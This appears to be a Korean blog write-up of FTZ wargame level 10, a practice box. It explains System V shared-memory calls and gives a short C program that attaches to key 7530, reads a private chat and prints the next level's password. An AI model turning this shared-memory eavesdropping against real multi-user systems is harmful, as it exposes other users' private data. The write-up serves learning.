[FTZ] Level 10

Sisyphus·2022년 7월 14일

FTZ

목록 보기
20/30
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, 
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.

ls 명령어를 이용해 파일을 출력해보면 hint가 있습니다. hint를 출력해보면 공유 메모리를 이용해서 level11의 권한을 얻으라고 합니다.


공유 메모리의 사용 (joinc.co.kr) 사이트를 참조해보면
공유 메모리란 여러 프로세스가 특정 메모리 영역을 공유하는 하는것입니다.



C언어에서 공유 메모리 함수를 살펴보면


*헤더*

#include <sys/types.h>

#include <sys/shm.h>


*함수*

shmget() 함수

커널에 공유 메모리 공간을 요청하기 위한 시스템 함수입니다.
공유 메모리에 접근하기 위한 int형 식별자를 반환해줍니다.

int shmid = shmget(key, size, shmflg);

key_t key : 원하는 공유 메모리에 접근하기 위한 key값
int size  : 공유 메모리의 최소 크기
int shmflag : 공유 메모리의 접근권한과 생성 방식을 명시, IPC_CREAT (존재하거나 생성된 공유 메모리의 식별자를 반환)


shmat() 함수

프로세스가 공유 메모리를 사용 가능하도록 덧붙임 작업을 해줍니다.

char *shared_memory = shmat(shmid, 0, shmflg);

shmid : 공유 메모리에 접근하기 위한 식별자
0 : 커널이 메모리가 붙을 주소를 명시해줌 
shmflag : SHM_RDONLY (공유 메모리를 읽기 전용으로 염), 아무 값도 지정 X (공유 메모리를 읽기/쓰기 가능 모드로 염)


shmdt() 함수

프로세스가 더 이상 공유 메모리를 사용할 필요가 없을 경우 공유 메모리를 프로세스와 분리합니다. 이때 공유 메모리 내용은 삭제되지 않습니다.


shmdt(shared_memory);

shared_memory : 공유 메모리


위의 함수들을 이용해서 코드를 짜보면

#include <sys/ipc.h>
#include <sys/shm.h>
#include <string.h> 
#include <unistd.h> 

int main() {
	int shmid;
	key_t keyval = 7530;
	void *shared_memory = (void *)0;
			        
	shmid = shmget(keyval, 1024, IPC_CREAT | 0666);
	if (shmid == -1) {
		return -1;
	}
					        
	shared_memory = shmat(shmid, (void *)0, 0);
	if (shared_memory == (void *) -1) {
		perror("shmat failed : ");
		exit(0);
	}       
							     
	printf("%s\n", shared_memory);
	shmdt(shared_memory);

	return 0;
}

[level10@ftz tmp]$ vi memory.c
[level10@ftz tmp]$ gcc -o memory memory.c
[level10@ftz tmp]$ ./memory 
멍멍: level11의 패스워드는?
구타: what!@#$?

소스코드를 컴파일을 시키고 실행을 시켜보면 level11의 패스워드가 출력됩니다.

0개의 댓글